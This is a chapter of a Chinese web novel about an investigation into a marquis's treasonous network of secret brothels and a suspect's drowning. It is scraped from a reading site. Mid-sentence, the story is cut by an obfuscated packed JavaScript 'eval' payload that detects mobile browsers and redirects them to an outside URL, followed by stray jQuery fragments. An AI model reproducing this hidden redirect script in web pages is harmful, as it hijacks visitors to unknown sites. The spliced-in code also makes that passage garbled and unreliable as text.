默认冷灰
24号文字
方正启体

466. 第 466 章

作者:执冥持苍本书字数:K更新时间:
    “尧国中部及东南部地区,除却处于正南要与净川国相抗的脊山省,以及大都为圣上人手的汇兴省,相连的五省官员,已被蒋家控制了三省。”


    当然,渌南的大部分官员已经被毁掉。剩下的江法和南军副将军,皇帝处理他们也只是时间问题。


    不算渌南,也有两省。


    “将尧国疆域分作东西两半,从造反的目的出发,我若是在远东省的护国侯,定是要以将整个东部地区控制手中为目标。即便对与皇帝关系更纯粹可信的汇兴省官员不好下手,也要对拱卫京师平津府的明东省官员,以及京师官员,诱以重利美人。”


    “若足够谨慎小心,就不可能在明东省建造暗倡馆,那么明东省南边的罗东省,就是一个很好的位置。可在罗东省,只发现了极乐馆。”


    极乐馆不大,在地面之上,不需要蒋家人建造,且灰楼本就存在,只是需要加装隔音材料及内部布置改造,不需要长达两年的时间。


    “上个月在常京省的调查,暂时没有发现蒋家暗倡馆。而常京省除了南面部分与脊山省接壤外,其余方向临远东、罗东、文庆、渌南四省,若蒋家控制了这四省,确实不必在常京省发展暗倡。”


    “那么若还有暗倡馆,最可能存在的地点,就在罗东省。罗东省的极乐馆……”


    或许是满府众多官吏牵扯其中,孟淮妴便总是放不下它,也不知是否与蒋家暗倡有关。


    “极乐馆的存在十分清楚,在6045年。”晏罹提笔写下极乐馆,想起一事,“赵戈的死,真是意外吗?”


    极乐馆东家赵戈,当初在押送入京的水路上落水淹死,没有人为痕迹。


    元潇当时所述,赵戈是撬开脚镣,在深夜冲出房中,带着手铐就往水里跳。一副逃命的架势,可根本就挥舞不开的手,难以游动,而夜深寻人困难,于是赵戈便淹死了。


    他既然能解开脚镣,岂会解不开手铐?若无外人帮助,那他跳水之举,分明就不是逃跑,而是寻死。


    可经营暗倡的重罪,处罚之残酷,是足以让犯人宁愿自行赴死的,从这一点上,并不能证明什么。


    “看来还得再去极乐馆的灰楼查看。”孟淮妴搜刮记忆,无法从赵戈的死上头发现猫腻,却冒出一个问题,“那幅画是哪来的?”


    晏罹也猛然想起,张达提供的,皇帝所作的那幅画,是哪来的?


    当初,抓获张达后,孟淮妴没有审问画作来源,只因她并不想书写一个确切完整的调查、审问过程,不能坐实她烧了皇帝的画,她只当画作一事子虚乌有,乃张达栽赃污蔑,岂能审问张达?


    未想到其后或有大人物隐藏,可惜当初不曾在此事上深究。


    而张达到达皇城后,依旧咬定孟淮妴烧毁了皇帝画作,在审问之中,对于画作的来源不敢说谎,供的是赵戈提供。


    在皇帝面前,他说得越发心虚,最后是也不知画作真假。


    “那画或许真是假的,也未可知。”晏罹道。


    张达本人都并不确定,唯一肯定的人,只有拓火君。


    孟淮妴道:“我认为拓火君所言可信。”


    若无把握,他不会说得那般肯定。


    她陷入思考,“画是真的,那么赵戈又是从何处得来的?”


    皇帝年轻时的画作,并不出色的画技,或有遗失的可能,但孟淮妴记得,那幅画的画尾仅存了一角私印,且看不出字样——不像是人为所致,而是最初落印时就未曾用力,后被岁月消磨。


    不仅落时未曾用力,甚至是印得不完整,可见作画者也不甚满意。这般看来,是不太可能作为赏赐之用——赏赐自己不满意且印都不完整的画作,未免显得小气。


    那么更可能是被主动索要、任人收拾、遗失这三种可能。


    首先排除主动索要。主动索要,意味着皇帝有记得的可能,那么对方岂敢将皇帝能记得给了谁的画作,转让给犯罪人员赵戈?一旦犯罪者被抓获,这岂非自爆身份?


    姑且排除遗失。即便那时皇帝还只是皇子,也不太可能遗失掉一幅画。


    看来是任人收拾的可能性更高。


    无论是皇帝的仆从还是来往密切的亲友同僚,都有嫌疑。


    任由一角私印被岁月消磨,又代表着画作并未被仔细保存,收画的人,明明知晓作画者的身份,却并不因此而多加珍视。


    会这样对待的人,可并不多。在未有新人闯入视线时,孟淮妴只怀疑是护国侯。


    护国侯将皇帝的一副寻常画作赏给手下人赵戈,合乎情理。


    因为是护国侯的手下,所以才能决绝地跳水赴死,也很合理。


    那么不寻死也并未被刺杀的张达,显然并不知晓幕后的护国侯。


    由此,孟淮妴又记起八月份抓获蒋林的事。


    当时,是在均府南边的长同府,将蒋林运往京师时,她没有受到丝毫阻碍。


    可此地明明有蒋家暗倡,当地高官浸泡其中,不曾阻碍的原因,除了蒋林奸污十二皇女之事板上钉钉无法阻碍外,会否还有另一种原因——被护国侯通过暗倡控制的高官自己,也不清楚操控者的身份?


    若是如此,当初渌南省布政使没有说出要挟者的身份,除开存着保全家人的心思外,很可能,是他自己也不清楚。


    但可以在渌南省案件中活下来的江法和南军副将军,应当是清楚的。


    这倒是合理,若她是护国侯,也不可能将真正的野心让上下皆知。


    按照这个逻辑推论,只有有兵权且深陷暗倡的人,才能知晓护国侯的身份,那么文庆省的都指挥使也该知道自己被护国侯掌控,而另二司很可能还被蒙在鼓里。


    记下心中怀疑,孟淮妴指尖在舆图上移动:“在此地歇息一日后,走陆路从渌北绕到罗东省秦台府,再探灰色楼,及章家村地下。”


    晏罹抬头:“您怀疑极乐馆是作为掩护,地下另有空间?”


    “正是。”


    曾经的瘟疫地和地面上的极乐馆,实在是个很完美的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405302|184429||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    掩护。


    十月二十八一早,养足精神后,孟淮妴一行再次启程。


    乔装一番,众人骑马往北。


    重刹楼总部在渌北省盘口府内,孟淮妴已经很久没有到楼中,便多行了一段路,回楼中瞧瞧。


    虽不着急,但速度也不慢,快马加鞭五日后赶到。


    孟淮妴戴着那张金底纹泣血红花面具,在楼内各部视察,直到天黑才告一段落。


    得知她回来,许多事务直接送到了楼主房中,她回到房中,就要开始处理。


    晏罹过来帮忙,看到孟淮妴此前要求调查的报告书,于是递上:“主子,先帝和圣上仇家一事,是否先看?”


    得他提醒,孟淮妴接过来翻阅。


    上头记录了三十年来意外死亡的,及先帝和文耀皇帝斩杀的大官并其尚存活口的后代,其中有三个陪先帝打天下的大官,虽后代没有活口,但因牵扯很深位高权重也被记录下来。


    报告十分详细,写明了这些官员的生平死因后代去向等等,所有官员都是由于犯了罪过而被依律处死的,这些罪过看上去有理有据,不像是栽赃陷害。


    孟淮妴根据所知的权贵关系及过往,结合纸上所写的经过,分析判断,筛选出有空间动手脚且下场最凄惨的罪过。


    【你孟家是不能造贤君的反,还是无论君王如何,都不能造反?】


    拓火君会这么问,显然是暗示文耀皇帝并非贤君,且深受其害。


    故此他想要造反,自然得先有冤情,而这个冤情,还不能是其它官员陷害,必须得是皇帝操作或授意的陷害。


    既是皇帝陷害,那么找出哪些官员死后,皇帝能得最多的利,就能圈定调查范围。


    如此一番筛选,最后在有活口留下的官员中,找出了四个相对而言符合条件的。


    秦家,和孟淮妴现在的大姐,曾经的小红祖上一样,新朝建立后先帝清剿毒瘤所杀,有一些后代流放。死亡人数过千,流放人数三十。


    昌家,乃孟倚故主导的“灭虚伪之风”行动中,杀鸡儆猴的那只“鸡”。死亡人数过百,流放人数人数四十。


    郎家,乃孟倚故铲除的贪腐之官中,权势最大的,其灭后权力尽收文耀帝手中。死亡人数过千,没有活口,却不知,是否有人逃脱。


    傅家,是6042年时,明东省内一条最繁华的街塌陷致使两百百姓身亡,为平民愤,在前朝历代为重臣底蕴深厚的工部尚书傅某等人的满门被问斩;两年之内,傅家族中有多人牵扯进各种罪案之中,最终七族被灭。死亡人数过千,没有活口,却不知,是否有人逃脱。


    这些活口,不知是否有最具血性和仇恨的人在其中,多年后复仇之心不死,自己或让后代蛰伏复仇。


    晏罹看着昌郎两家被挑出来,道:“应不是这两家,否则拓火君该报仇的对象,首要是孟家。”


    “他撺掇我造反,或许就是在报复孟家,也未可知。”私情是私情,公事上,孟淮妴不打算舍弃这份怀疑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)